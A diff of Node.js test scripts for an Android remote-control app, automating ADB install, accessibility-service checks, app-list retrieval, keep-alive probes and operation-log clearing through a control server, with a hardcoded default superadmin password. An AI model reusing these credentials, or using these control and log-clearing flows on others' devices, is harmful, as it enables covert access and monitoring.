'pm', 'check-permission', APP_PACKAGE, permission], { + cwd: ROOT_DIR, + timeoutMs: 7000, + allowFailure: true + }) + if (!result.ok) { + return { + permission, + state: 'unknown', + output: `${result.stdout}\n${result.stderr}`.trim() + } + } + const output = `${result.stdout}\n${result.stderr}`.trim() + const normalized = output.toLowerCase() + const granted = normalized.includes('granted') + const denied = normalized.includes('denied') + return { + permission, + state: granted ? 'granted' : denied ? 'denied' : 'unknown', + output + } +} + +async function collectAttemptTriage({ + adbPath, + serverHttp, + token, + runDir, + device, + serial, + attempt, + failureReason, + smokeResult, + triageLogcatLines +}) { + const tokenSafe = sanitizeFileToken(device.androidId || device.serial) + const triageDir = path.resolve(runDir, `triage_${tokenSafe}_attempt${attempt}`) + await mkdir(triageDir, { recursive: true }) + + const adbDevicesResult = await adb(adbPath, ['devices', '-l'], { + cwd: ROOT_DIR, + timeoutMs: 10000, + allowFailure: true + }) + const adbDevicesPath = path.resolve(triageDir, 'adb_devices.txt') + await writeFile(adbDevicesPath, `${adbDevicesResult.stdout || ''}\n${adbDevicesResult.stderr || ''}`, 'utf8') + + const accessibilityEnabled = await adbForSerial( + adbPath, + serial, + ['shell', 'settings', 'get', 'secure', 'accessibility_enabled'], + { cwd: ROOT_DIR, timeoutMs: 7000, allowFailure: true } + ) + const accessibilityServices = await adbForSerial( + adbPath, + serial, + ['shell', 'settings', 'get', 'secure', 'enabled_accessibility_services'], + { cwd: ROOT_DIR, timeoutMs: 7000, allowFailure: true } + ) + const appops = await adbForSerial( + adbPath, + serial, + ['shell', 'cmd', 'appops', 'get', APP_PACKAGE], + { cwd: ROOT_DIR, timeoutMs: 10000, allowFailure: true } + ) + const logcat = await adbForSerial( + adbPath, + serial, + ['logcat', '-d', '-t', String(Math.max(200, Number(triageLogcatLines || 2500)))], + { cwd: ROOT_DIR, timeoutMs: 20000, allowFailure: true } + ) + + const a11yEnabledRaw = (accessibilityEnabled.stdout || accessibilityEnabled.stderr || '').trim() + const a11yServicesRaw = (accessibilityServices.stdout || accessibilityServices.stderr || '').trim() + const appopsRaw = `${appops.stdout || ''}\n${appops.stderr || ''}`.trim() + const logcatRaw = `${logcat.stdout || ''}\n${logcat.stderr || ''}`.trim() + const targetA11yService = 'com.hikoncont/com.hikoncont.service.AccessibilityRemoteService'.toLowerCase() + const hasServiceInSettings = String(a11yServicesRaw || '').toLowerCase().includes(targetA11yService) + const hasServiceLogHint = + /AccessibilityRemoteService/.test(logcatRaw) || + /KeepAliveWorker/.test(logcatRaw) + const a11yEnabled = + a11yEnabledRaw === '1' || + hasServiceInSettings || + hasServiceLogHint + const appopsPath = path.resolve(triageDir, 'appops.txt') + const logcatPath = path.resolve(triageDir, 'logcat_tail.txt') + await writeFile(appopsPath, appopsRaw, 'utf8') + await writeFile(logcatPath, logcatRaw, 'utf8') + + const runtimePermissions = [] + for (const permission of RUNTIME_PERMISSION_LIST) { + runtimePermissions.push(await adbReadRuntimePermissionState(adbPath, serial, permission)) + } + + const smokeStdoutPath = path.resolve(triageDir, 'smoke_stdout.log') + const smokeStderrPath = path.resolve(triageDir, 'smoke_stderr.log') + if (smokeResult?.processResult) { + await writeFile(smokeStdoutPath, String(smokeResult.processResult.stdout || ''), 'utf8') + await writeFile(smokeStderrPath, String(smokeResult.processResult.stderr || ''), 'utf8') + } else { + await writeFile(smokeStdoutPath, '', 'utf8') + await writeFile(smokeStderrPath, '', 'utf8') + } + + let serverDevices = [] + let serverError = '' + try { + serverDevices = await fetchDevices(serverHttp, token) + } catch (error) { + serverError = error instanceof Error ? error.message : String(error) + } + const serverSnapshotPath = path.resolve(triageDir, 'server_devices.json') + await writeFile( + serverSnapshotPath, + JSON.stringify( + { + collectedAt: nowIso(), + error: serverError, + total: Array.isArray(serverDevices) ? serverDevices.length : 0, + devices: Array.isArray(serverDevices) ? serverDevices : [] + }, + null, + 2 + ), + 'utf8' + ) + + const triage = { + collectedAt: nowIso(), + failureReason, + serial, + androidId: device.androidId, + brand: device.brand, + manufacturer: device.manufacturer, + model: device.model, + release: device.release, + sdkInt: device.sdkInt, + accessibility: { + enabledRaw: a11yEnabledRaw, + enabled: a11yEnabled, + servicesRaw: a11yServicesRaw, + inferredFromServiceSetting: hasServiceInSettings, + inferredFromLogcat: hasServiceLogHint + }, + runtimePermissions, + files: { + adbDevicesPath, + appopsPath, + logcatPath, + smokeStdoutPath, + smokeStderrPath, + serverSnapshotPath + } + } + const triagePath = path.resolve(triageDir, 'triage.json') + await writeFile(triagePath, JSON.stringify(triage, null, 2), 'utf8') + return { + triagePath, + triageDir, + triage, + smokeStdoutPath, + smokeStderrPath + } +} + +async function runWithConcurrency(items, maxConcurrency, worker) { + const results = new Array(items.length) + const limit = Math.max(1, Math.min(items.length, Number(maxConcurrency || 1))) + let cursor = 0 + + const runners = Array.from({ length: limit }, async () => { + while (true) { + const index = cursor + cursor += 1 + if (index >= items.length) return + results[index] = await worker(items[index], index) + } + }) + + await Promise.all(runners) + return results +} + +async function runSingleDeviceMatrix(params) { + const { + device, + adbPath, + apkPath, + options, + token, + runDir + } = params + + const profile = resolveProfile(device) + const maxAttempts = options.attempts || profile.maxAttempts + const allowedWarn = profile.allowedWarn + const smokeTimeoutMs = options.smokeTimeoutMs || profile.smokeTimeoutMs + const waitOnlineMs = options.waitOnlineMs || profile.waitOnlineMs + const settleMs = options.settleMs || profile.settleMs + const tokenSafe = sanitizeFileToken(device.androidId || device.serial) + + const deviceState = { + ...device, + duplicateSerials: Array.isArray(device.duplicateSerials) ? [...device.duplicateSerials] : [] + } + + log( + `Testing serial=${deviceState.serial} androidId=${deviceState.androidId} brand=${deviceState.brand} model=${deviceState.model} profile=${profile.id}` + ) + + const deviceResult = { + serial: deviceState.serial, + androidId: deviceState.androidId, + appDeviceId: deviceState.appDeviceId || '', + duplicateSerials: deviceState.duplicateSerials, + brand: deviceState.brand, + manufacturer: deviceState.manufacturer, + model: deviceState.model, + sdkInt: deviceState.sdkInt, + release: deviceState.release, + profile: profile.id, + attempts: [], + finalStatus: 'failed', + finalReason: 'not_started' + } + + for (let attempt = 1; attempt <= maxAttempts; attempt += 1) { + log(` [${deviceState.androidId}] attempt ${attempt}/${maxAttempts}`) + const attemptRecord = { + attempt, + startedAt: nowIso(), + serialBeforeResolve: deviceState.serial, + serialInUse: deviceState.serial, + transportResolution: null, + install: null, + launch: null, + onlineWait: null, + smoke: null, + evaluation: null, + triage: null, + recoveryApplied: false + } + + if (options.dryRun) { + attemptRecord.evaluation = { pass: true, reason: 'dry_run' } + deviceResult.attempts.push(attemptRecord) + deviceResult.finalStatus = 'passed' + deviceResult.finalReason = 'dry_run' + break + } + + const transportResolution = await resolveDeviceTransport(adbPath, deviceState) + attemptRecord.transportResolution = { + ok: transportResolution.ok, + matchedBy: transportResolution.matchedBy, + changed: transportResolution.changed, + message: transportResolution.message || '', + transports: transportResolution.transports.map(simplifyTransportEntry) + } + if (!transportResolution.ok) { + attemptRecord.evaluation = { pass: false, reason: 'adb_transport_lost' } + const triage = await collectAttemptTriage({ + adbPath, + serverHttp: options.serverHttp, + token, + runDir, + device: deviceState, + serial: deviceState.serial, + attempt, + failureReason: attemptRecord.evaluation.reason, + smokeResult: null, + triageLogcatLines: options.triageLogcatLines + }) + attemptRecord.triage = { + path: triage.triagePath, + accessibilityEnabled: triage.triage?.accessibility?.enabled === true + } + deviceResult.attempts.push(attemptRecord) + continue + } + + if (transportResolution.changed) { + log(` [${deviceState.androidId}] transport switched ${deviceState.serial} -> ${transportResolution.serial} (${transportResolution.matchedBy})`) + if (!deviceState.duplicateSerials.includes(deviceState.serial)) { + deviceState.duplicateSerials.push(deviceState.serial) + } + deviceState.serial = transportResolution.serial + deviceResult.serial = transportResolution.serial + deviceResult.duplicateSerials = Array.from( + new Set([...(deviceResult.duplicateSerials || []), ...(transportResolution.transports || []).map((item) => item.serial)]) + ).filter((serial) => serial !== transportResolution.serial) + } + attemptRecord.serialInUse = deviceState.serial + + if (!options.skipInstall) { + const install = await installApk(adbPath, deviceState.serial, apkPath, options.installTimeoutMs) + attemptRecord.install = install + if (!install.ok) { + const reason = isTransportLostOutput(install.output) ? 'adb_transport_lost_install' : 'install_failed' + attemptRecord.evaluation = { pass: false, reason } + const triage = await collectAttemptTriage({ + adbPath, + serverHttp: options.serverHttp, + token, + runDir, + device: deviceState, + serial: deviceState.serial, + attempt, + failureReason: reason, + smokeResult: null, + triageLogcatLines: options.triageLogcatLines + }) + attemptRecord.triage = { + path: triage.triagePath, + accessibilityEnabled: triage.triage?.accessibility?.enabled === true + } + deviceResult.attempts.push(attemptRecord) + await applyRecovery(adbPath, deviceState.serial, profile) + attemptRecord.recoveryApplied = true + continue + } + } + + const launch = await launchApp(adbPath, deviceState.serial) + attemptRecord.launch = launch + if (!launch.ok) { + const reason = isTransportLostOutput(launch.output) ? 'adb_transport_lost_launch' : 'launch_failed' + attemptRecord.evaluation = { pass: false, reason } + const triage = await collectAttemptTriage({ + adbPath, + serverHttp: options.serverHttp, + token, + runDir, + device: deviceState, + serial: deviceState.serial, + attempt, + failureReason: reason, + smokeResult: null, + triageLogcatLines: options.triageLogcatLines + }) + attemptRecord.triage = { + path: triage.triagePath, + accessibilityEnabled: triage.triage?.accessibility?.enabled === true + } + deviceResult.attempts.push(attemptRecord) + await applyRecovery(adbPath, deviceState.serial, profile) + attemptRecord.recoveryApplied = true + continue + } + + await sleep(settleMs) + + const logcatDeviceId = await adbReadAppDeviceIdFromLogcat(adbPath, deviceState.serial) + const candidateDeviceIds = Array.from( + new Set([logcatDeviceId, deviceState.appDeviceId, deviceState.androidId].map((v) => String(v || '').trim()).filter(Boolean)) + ) + attemptRecord.candidateDeviceIds = candidateDeviceIds + + const onlineResult = await waitForDeviceOnline(options.serverHttp, token, candidateDeviceIds, waitOnlineMs, { + brand: deviceState.brand, + manufacturer: deviceState.manufacturer, + model: deviceState.model + }) + const onlineDevice = onlineResult?.device || null + attemptRecord.onlineWait = { + found: !!onlineDevice, + status: onlineDevice?.status || 'missing', + matchedBy: onlineResult?.matchedBy || null + } + if (!onlineDevice || String(onlineDevice?.status || '').toLowerCase() !== 'online') { + let reason = 'server_device_not_online' + const triage = await collectAttemptTriage({ + adbPath, + serverHttp: options.serverHttp, + token, + runDir, + device: deviceState, + serial: deviceState.serial, + attempt, + failureReason: reason, + smokeResult: null, + triageLogcatLines: options.triageLogcatLines + }) + if (triage.triage?.accessibility?.enabled === false) { + reason = 'a11y_disabled' + } + attemptRecord.evaluation = { pass: false, reason } + attemptRecord.triage = { + path: triage.triagePath, + accessibilityEnabled: triage.triage?.accessibility?.enabled === true + } + deviceResult.attempts.push(attemptRecord) + await applyRecovery(adbPath, deviceState.serial, profile) + attemptRecord.recoveryApplied = true + continue + } + + const smokeReportPath = path.resolve(runDir, `smoke_${tokenSafe}_${attempt}.json`) + const smokeStdoutPath = path.resolve(runDir, `smoke_${tokenSafe}_${attempt}.stdout.log`) + const smokeStderrPath = path.resolve(runDir, `smoke_${tokenSafe}_${attempt}.stderr.log`) + const smoke = await runSmokeForDevice({ + deviceId: onlineDevice.id, + serverHttp: options.serverHttp, + socketUrl: options.socketUrl, + username: options.username, + password: options.password, + reportPath: smokeReportPath, + timeoutMs: smokeTimeoutMs, + stdoutPath: smokeStdoutPath, + stderrPath: smokeStderrPath + }) + attemptRecord.smoke = { + deviceId: onlineDevice.id, + reportPath: smokeReportPath, + stdoutPath: smoke.stdoutPath || smokeStdoutPath, + stderrPath: smoke.stderrPath || smokeStderrPath, + processCode: smoke.processResult.code, + timedOut: smoke.processResult.timedOut, + summary: smoke.report?.summary || null + } + + const evaluation = evaluateSmoke(smoke.report, allowedWarn) + attemptRecord.evaluation = evaluation + deviceResult.attempts.push(attemptRecord) + + if (evaluation.pass) { + deviceResult.finalStatus = 'passed' + deviceResult.finalReason = evaluation.reason + break + } + + const triage = await collectAttemptTriage({ + adbPath, + serverHttp: options.serverHttp, + token, + runDir, + device: deviceState, + serial: deviceState.serial, + attempt, + failureReason: evaluation.reason, + smokeResult: smoke, + triageLogcatLines: options.triageLogcatLines + }) + attemptRecord.triage = { + path: triage.triagePath, + accessibilityEnabled: triage.triage?.accessibility?.enabled === true + } + + if (attempt < maxAttempts) { + await applyRecovery(adbPath, deviceState.serial, profile) + attemptRecord.recoveryApplied = true + } + } + + if (deviceResult.finalStatus !== 'passed') { + const last = deviceResult.attempts[deviceResult.attempts.length - 1] + deviceResult.finalReason = last?.evaluation?.reason || 'unknown' + } + + return deviceResult +} + +async function main() { + const cli = parseArgs(process.argv) + if (cli.help) { + printHelp() + return + } + + const serverHttp = cli.serverHttp || await getDefaultServerHttp() + if (!serverHttp) { + throw new Error('server_http_missing: use --server-http or set RC_SERVER_HTTP') + } + const socketUrl = cli.socketUrl || cli.serverHttp || serverHttp + + const options = { + ...DEFAULTS, + ...cli, + serverHttp, + socketUrl, + smokeTimeoutMs: Number(cli.smokeTimeoutMs || DEFAULTS.smokeTimeoutMs), + waitOnlineMs: Number(cli.waitOnlineMs || DEFAULTS.waitOnlineMs), + installTimeoutMs: Number(cli.installTimeoutMs || DEFAULTS.installTimeoutMs), + settleMs: Number(cli.settleMs || DEFAULTS.settleMs), + parallelDevices: Number(cli.parallelDevices || DEFAULTS.parallelDevices || 0), + triageLogcatLines: Number(cli.triageLogcatLines || DEFAULTS.triageLogcatLines || 2500), + maxDevices: cli.maxDevices ? Number(cli.maxDevices) : undefined, + attempts: cli.attempts ? Number(cli.attempts) : undefined + } + + log('Resolving ADB executable...') + const adbPath = await resolveAdbPath(options.adbPath) + log(`ADB: ${adbPath}`) + + await buildApkIfNeeded(options) + + const apkPath = path.resolve(options.apkPath) + const apkExists = await fileExists(apkPath) + if (!apkExists && !options.skipInstall) { + throw new Error(`apk_not_found: ${apkPath}`) + } + + const token = await loginServer(options.serverHttp, options.username, options.password) + log(`Server login success: ${options.serverHttp}`) + + const adbListResult = await adb(adbPath, ['devices', '-l'], { + cwd: ROOT_DIR, + timeoutMs: 10000, + allowFailure: false + }) + const adbDevices = parseAdbDeviceList(adbListResult.stdout) + if (adbDevices.length === 0) { + throw new Error('no_adb_devices_online') + } + + const onlySerialSet = new Set( + String(options.onlySerials || '') + .split(',') + .map((v) => v.trim()) + .filter(Boolean) + ) + + const filteredAdb = adbDevices.filter((item) => { + if (onlySerialSet.size === 0) return true + return onlySerialSet.has(item.serial) + }) + if (filteredAdb.length === 0) { + throw new Error('no_adb_devices_after_filter') + } + + log(`Detected ${filteredAdb.length} ADB transports. Collecting runtime fingerprints...`) + const runtimes = [] + for (const item of filteredAdb) { + runtimes.push(await collectDeviceRuntime(adbPath, item)) + } + + const byAndroidId = new Map() + for (const runtime of runtimes) { + const key = runtime.androidId || runtime.serial + if (!byAndroidId.has(key)) byAndroidId.set(key, []) + byAndroidId.get(key).push(runtime) + } + + const devices = [] + for (const [androidId, candidates] of byAndroidId.entries()) { + const selected = selectBestTransport(candidates) + devices.push({ + ...selected, + androidId, + duplicateSerials: candidates.map((v) => v.serial).filter((v) => v !== selected.serial) + }) + } + + const selectedDevices = options.maxDevices ? devices.slice(0, options.maxDevices) : devices + log(`Selected ${selectedDevices.length} physical devices after transport dedupe.`) + + const runDir = path.resolve(ROOT_DIR, `_tmp_adb_control_matrix_runs_${Date.now()}`) + await mkdir(runDir, { recursive: true }) + + const matrixReport = { + startedAt: nowIso(), + serverHttp: options.serverHttp, + socketUrl: options.socketUrl, + adbPath, + apkPath, + runDir, + options: { + buildApk: !!options.buildApk, + skipInstall: !!options.skipInstall, + dryRun: !!options.dryRun, + maxDevices: options.maxDevices || null, + attempts: options.attempts || null, + parallelDevices: options.parallelDevices || null, + triageLogcatLines: options.triageLogcatLines || null + }, + devices: [], + summary: { + pass: 0, + fail: 0 + } + } + + const parallelDevices = options.parallelDevices && options.parallelDevices > 0 + ? options.parallelDevices + : selectedDevices.length + log(`Running matrix with concurrency=${Math.max(1, parallelDevices)} on ${selectedDevices.length} devices.`) + const deviceResults = await runWithConcurrency(selectedDevices, parallelDevices, async (device) => { + return runSingleDeviceMatrix({ + device, + adbPath, + apkPath, + options, + token, + runDir + }) + }) + + for (const deviceResult of deviceResults) { + if (!deviceResult) continue + if (deviceResult.finalStatus === 'passed') { + matrixReport.summary.pass += 1 + } else { + matrixReport.summary.fail += 1 + } + matrixReport.devices.push(deviceResult) + } + + matrixReport.finishedAt = nowIso() + await writeFile(options.reportPath, JSON.stringify(matrixReport, null, 2), 'utf8') + log(`Matrix report saved: ${options.reportPath}`) + log(`Summary: pass=${matrixReport.summary.pass}, fail=${matrixReport.summary.fail}`) +} + +main().catch((error) => { + console.error(`[${nowIso()}] fatal: ${error instanceof Error ? error.message : String(error)}`) + process.exit(1) +}) diff --git a/scripts/keepalive_app_list_probe.mjs b/scripts/keepalive_app_list_probe.mjs new file mode 100644 index 0000000..fe6894f --- /dev/null +++ b/scripts/keepalive_app_list_probe.mjs @@ -0,0 +1,231 @@ +import { io } from 'socket.io-client' +import { writeFile } from 'node:fs/promises' + +const DEVICE_ID = process.env.RC_DEVICE_ID || process.argv[2] +const SERVER_HTTP = process.env.RC_SERVER_HTTP || 'http://127.0.0.1:3001' +const SOCKET_URL = process.env.RC_SOCKET_URL || SERVER_HTTP +const USERNAME = process.env.RC_USER || 'superadmin' +const PASSWORD = process.env.RC_PASS || 'superadmin123456789' +const RUNS = Number(process.env.RC_APP_LIST_RUNS || 4) +const OPEN_BATTERY_SETTINGS = String(process.env.RC_OPEN_BATTERY_SETTINGS || '0') === '1' +const REPORT_PATH = process.env.RC_REPORT_PATH || './_tmp_keepalive_app_list_probe.json' + +if (!DEVICE_ID) { + console.error('usage: node scripts/keepalive_app_list_probe.mjs ') + process.exit(1) +} + +const nowIso = () => new Date().toISOString() +const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) + +const report = { + startedAt: nowIso(), + serverHttp: SERVER_HTTP, + socketUrl: SOCKET_URL, + deviceId: DEVICE_ID, + runs: [], + keepalive: {}, + openBatterySettings: null, + events: [], + summary: { appListOk: 0, appListFail: 0 } +} + +function trimPreview(value, maxLen = 360) { + try { + const text = JSON.stringify(value) + if (!text) return '' + return text.length > maxLen ? `${text.slice(0, maxLen)}...` : text + } catch { + return String(value) + } +} + +function pushEvent(event, payload) { + report.events.push({ at: nowIso(), event, payload: trimPreview(payload) }) + if (report.events.length > 600) report.events.shift() +} + +function waitEvent(socket, event, predicate, timeoutMs) { + return new Promise((resolve, reject) => { + const timer = setTimeout(() => { + cleanup() + reject(new Error(`timeout_waiting_${event}_${timeoutMs}ms`)) + }, timeoutMs) + + const handler = (...args) => { + try { + if (!predicate(...args)) return + cleanup() + resolve(args) + } catch (error) { + cleanup() + reject(error) + } + } + + const cleanup = () => { + clearTimeout(timer) + socket.off(event, handler) + } + + socket.on(event, handler) + }) +} + +async function loginToken() { + const resp = await fetch(`${SERVER_HTTP}/api/auth/login`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ username: USERNAME, password: PASSWORD }) + }) + const data = await resp.json().catch(() => ({})) + if (!resp.ok || !data?.success || !data?.token) { + throw new Error(`login_failed_${resp.status}_${trimPreview(data, 800)}`) + } + return data.token +} + +async function run() { + const token = await loginToken() + const socket = io(SOCKET_URL, { + transports: ['websocket', 'polling'], + timeout: 12000, + reconnection: false, + auth: { token } + }) + + socket.onAny((event, ...args) => { + if (['app_list_data', 'permission_response', 'device_control_response', 'control_error'].includes(event)) { + pushEvent(event, args[0]) + } + }) + + const emitClientEvent = (type, data = {}) => { + socket.emit('client_event', { type, data: { ...data, deviceId: DEVICE_ID }, timestamp: Date.now() }) + } + + const emitControl = (type, data = {}) => { + socket.emit('control_message', { type, deviceId: DEVICE_ID, data, timestamp: Date.now() }) + } + + const emitCamera = (action, data = {}) => { + socket.emit('camera_control', { action, deviceId: DEVICE_ID, data }) + } + + let hasControl = false + + try { + await waitEvent(socket, 'connect', () => true, 12000) + socket.emit('web_client_register', { userAgent: 'codex-keepalive-app-list-probe' }) + await waitEvent(socket, 'client_registered', () => true, 12000) + + emitClientEvent('REQUEST_DEVICE_CONTROL', { deviceId: DEVICE_ID }) + const [controlResp] = await waitEvent( + socket, + 'device_control_response', + (payload) => payload?.deviceId === DEVICE_ID, + 12000 + ) + if (!controlResp?.success) { + throw new Error(controlResp?.message || 'request_control_failed') + } + hasControl = true + + for (let i = 1; i <= RUNS; i += 1) { + const includeIcons = i % 2 === 0 + const started = Date.now() + try { + emitControl('APP_LIST', { includeIcons }) + const [payload] = await waitEvent( + socket, + 'app_list_data', + (resp) => resp?.deviceId === DEVICE_ID && Array.isArray(resp?.appList), + includeIcons ? 35000 : 18000 + ) + const count = Array.isArray(payload?.appList) ? payload.appList.length : 0 + report.runs.push({ idx: i, includeIcons, ok: true, count, durationMs: Date.now() - started }) + report.summary.appListOk += 1 + } catch (error) { + report.runs.push({ + idx: i, + includeIcons, + ok: false, + error: error instanceof Error ? error.message : String(error), + durationMs: Date.now() - started + }) + report.summary.appListFail += 1 + } + await sleep(includeIcons ? 900 : 450) + } + + const waitBattery = waitEvent( + socket, + 'permission_response', + (payload) => + payload?.deviceId === DEVICE_ID && + String(payload?.permissionType || '').toLowerCase() === 'battery_optimization', + 15000 + ) + + const waitBackground = waitEvent( + socket, + 'permission_response', + (payload) => + payload?.deviceId === DEVICE_ID && + String(payload?.permissionType || '').toLowerCase() === 'background_start', + 15000 + ) + + emitCamera('KEEPALIVE_STATUS_CHECK', {}) + + const [[batteryResp], [backgroundResp]] = await Promise.all([waitBattery, waitBackground]) + + report.keepalive = { + batteryOptimization: { + success: !!batteryResp?.success, + message: batteryResp?.message || '' + }, + backgroundStart: { + success: !!backgroundResp?.success, + message: backgroundResp?.message || '' + } + } + + if (OPEN_BATTERY_SETTINGS) { + const waitBatteryAfterOpen = waitEvent( + socket, + 'permission_response', + (payload) => + payload?.deviceId === DEVICE_ID && + String(payload?.permissionType || '').toLowerCase() === 'battery_optimization', + 18000 + ) + emitCamera('OPEN_BATTERY_OPTIMIZATION_SETTINGS', {}) + const [afterOpen] = await waitBatteryAfterOpen + report.openBatterySettings = { + success: !!afterOpen?.success, + message: afterOpen?.message || '' + } + } + } finally { + if (hasControl) { + emitClientEvent('RELEASE_DEVICE_CONTROL', { deviceId: DEVICE_ID }) + await sleep(300) + } + socket.close() + } + + report.finishedAt = nowIso() + await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8') + console.log(`report=${REPORT_PATH}`) + console.log(`app_list_ok=${report.summary.appListOk} app_list_fail=${report.summary.appListFail}`) + console.log(`keepalive_battery=${report.keepalive?.batteryOptimization?.success} keepalive_bg=${report.keepalive?.backgroundStart?.success}`) +} + +run().catch(async (error) => { + report.finishedAt = nowIso() + report.fatal = error instanceof Error ? error.message : String(error) + await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8') + console.error(report.fatal) + process.exit(1) +}) diff --git a/scripts/redmi_first_permission_flow.mjs b/scripts/redmi_first_permission_flow.mjs new file mode 100644 index 0000000..19c2547 --- /dev/null +++ b/scripts/redmi_first_permission_flow.mjs @@ -0,0 +1,409 @@ +#!/usr/bin/env node + +import { io } from 'socket.io-client' +import { writeFile } from 'node:fs/promises' + +const DEVICE_ID = process.env.RC_DEVICE_ID || process.argv[2] +const SERVER_HTTP = process.env.RC_SERVER_HTTP || 'http://192.168.100.45:3001' +const SOCKET_URL = process.env.RC_SOCKET_URL || SERVER_HTTP +const USERNAME = process.env.RC_USER || 'superadmin' +const PASSWORD = process.env.RC_PASS || 'superadmin123456789' +const REPORT_PATH = + process.env.RC_REPORT_PATH || './_tmp_redmi_first_permission_flow_result.json' +const SKIP_PROJECTION_REFRESH = process.env.RC_SKIP_PROJECTION_REFRESH === '1' +const PROJECTION_SETTLE_MS = Number(process.env.RC_PROJECTION_SETTLE_MS || 5000) +const PERMISSION_RETRIES = Number(process.env.RC_PERMISSION_RETRIES || 4) +const REQUEST_WAIT_BASE_MS = Number(process.env.RC_REQUEST_WAIT_BASE_MS || 2000) +const REQUEST_WAIT_STEP_MS = Number(process.env.RC_REQUEST_WAIT_STEP_MS || 500) +const RETRY_BACKOFF_BASE_MS = Number(process.env.RC_RETRY_BACKOFF_BASE_MS || 1600) + +if (!DEVICE_ID) { + console.error('Missing device id. Usage: node scripts/redmi_first_permission_flow.mjs ') + process.exit(1) +} + +const nowIso = () => new Date().toISOString() +const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) + +const report = { + startedAt: nowIso(), + finishedAt: null, + serverHttp: SERVER_HTTP, + socketUrl: SOCKET_URL, + deviceId: DEVICE_ID, + steps: [], + events: [], + summary: { + ok: 0, + warn: 0, + fail: 0 + } +} + +const INTERESTING_EVENTS = new Set([ + 'connect', + 'client_registered', + 'device_control_response', + 'refresh_permission_response', + 'permission_response', + 'control_error', + 'auth_error', + 'registration_error' +]) + +function safeStringify(value, maxLen = 500) { + try { + const text = JSON.stringify(value) + if (!text) return '' + if (text.length <= maxLen) return text + return `${text.slice(0, maxLen)}...` + } catch { + return String(value) + } +} + +function pushEvent(event, args) { + if (!INTERESTING_EVENTS.has(event)) return + const payload = args.length <= 1 ? args[0] : args + report.events.push({ + at: nowIso(), + event, + payloadPreview: safeStringify(payload, 700) + }) + if (report.events.length > 1200) { + report.events.shift() + } +} + +function waitEvent(socket, event, predicate = () => true, timeoutMs = 10000) { + return new Promise((resolve, reject) => { + const timer = setTimeout(() => { + socket.off(event, onEvent) + reject(new Error(`timeout_waiting_${event}_${timeoutMs}ms`)) + }, timeoutMs) + + function onEvent(payload) { + try { + if (!predicate(payload)) return + clearTimeout(timer) + socket.off(event, onEvent) + resolve([payload]) + } catch (error) { + clearTimeout(timer) + socket.off(event, onEvent) + reject(error) + } + } + + socket.on(event, onEvent) + }) +} + +async function runStep(name, fn, { optional = false } = {}) { + const started = Date.now() + try { + const detail = await fn() + report.steps.push({ + name, + status: 'ok', + durationMs: Date.now() - started, + detail + }) + report.summary.ok += 1 + console.log(`OK ${name}`) + return true + } catch (error) { + const status = optional ? 'warn' : 'fail' + report.steps.push({ + name, + status, + durationMs: Date.now() - started, + error: error instanceof Error ? error.message : String(error) + }) + report.summary[status] += 1 + console.log(`${status.toUpperCase()} ${name} -> ${error instanceof Error ? error.message : String(error)}`) + return false + } +} + +async function loginAndGetToken() { + const response = await fetch(`${SERVER_HTTP}/api/auth/login`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + username: USERNAME, + password: PASSWORD + }) + }) + const data = await response.json().catch(() => ({})) + if (!response.ok || !data?.success || !data?.token) { + throw new Error(`login_failed status=${response.status} body=${safeStringify(data, 900)}`) + } + return data.token +} + +async function main() { + const token = await loginAndGetToken() + const socket = io(SOCKET_URL, { + transports: ['websocket', 'polling'], + timeout: 15000, + reconnection: false, + auth: { token } + }) + socket.onAny((event, ...args) => pushEvent(event, args)) + + const emitClientEvent = (type, data = {}) => { + socket.emit('client_event', { + type, + data: { ...data, deviceId: data.deviceId || DEVICE_ID }, + timestamp: Date.now() + }) + } + + const emitControlMessage = (type, data = {}) => { + socket.emit('control_message', { + type, + deviceId: DEVICE_ID, + data, + timestamp: Date.now() + }) + } + + const emitCameraControl = (action, data = {}) => { + socket.emit('camera_control', { + action, + deviceId: DEVICE_ID, + data + }) + } + + const waitPermissionResponse = async (permissionType, timeoutMs = 22000) => { + const normalized = String(permissionType || '').trim().toLowerCase() + const [resp] = await waitEvent( + socket, + 'permission_response', + (payload) => { + if (!payload || payload.deviceId !== DEVICE_ID) return false + const incoming = String(payload.permissionType || '').trim().toLowerCase() + return incoming === normalized + }, + timeoutMs + ) + return { + success: !!resp?.success, + message: resp?.message || '', + raw: resp + } + } + + const ensureRuntimePermission = async ( + permissionName, + requestAction, + checkAction, + retries = PERMISSION_RETRIES + ) => { + let lastError = null + let lastMessage = '' + for (let attempt = 1; attempt <= retries; attempt += 1) { + try { + emitCameraControl(requestAction, {}) + await sleep(REQUEST_WAIT_BASE_MS + (attempt - 1) * REQUEST_WAIT_STEP_MS) + emitCameraControl(checkAction, {}) + const result = await waitPermissionResponse(permissionName, 22000) + lastMessage = result.message || lastMessage + if (result.success) { + return { + granted: true, + attempts: attempt, + message: result.message || 'granted' + } + } + } catch (error) { + lastError = error + } + await sleep(RETRY_BACKOFF_BASE_MS * attempt) + } + if (lastError) throw lastError + throw new Error(lastMessage || `${permissionName}_permission_not_granted`) + } + + let hasControl = false + try { + await waitEvent(socket, 'connect', () => true, 12000) + + socket.emit('web_client_register', { + userAgent: 'codex-redmi-first-permission-flow' + }) + + const [registered] = await waitEvent(socket, 'client_registered', () => true, 15000) + const devices = Array.isArray(registered?.devices) ? registered.devices : [] + report.registeredDevicesCount = devices.length + report.targetDeviceFound = devices.some((d) => d?.id === DEVICE_ID) + + await runStep('request_device_control', async () => { + emitClientEvent('REQUEST_DEVICE_CONTROL', { deviceId: DEVICE_ID }) + const [resp] = await waitEvent( + socket, + 'device_control_response', + (payload) => payload?.deviceId === DEVICE_ID, + 15000 + ) + if (!resp?.success) { + throw new Error(resp?.message || 'request_control_failed') + } + hasControl = true + return { message: resp.message || 'ok' } + }) + + await runStep( + 'enable_operation_log', + async () => { + if (!hasControl) throw new Error('no_control') + emitControlMessage('LOG_ENABLE', {}) + await sleep(500) + return { sent: true } + }, + { optional: true } + ) + + await runStep( + 'clear_operation_logs', + async () => { + if (!hasControl) throw new Error('no_control') + emitClientEvent('CLEAR_OPERATION_LOGS', { deviceId: DEVICE_ID }) + await sleep(500) + return { sent: true } + }, + { optional: true } + ) + + if (!SKIP_PROJECTION_REFRESH) { + await runStep( + 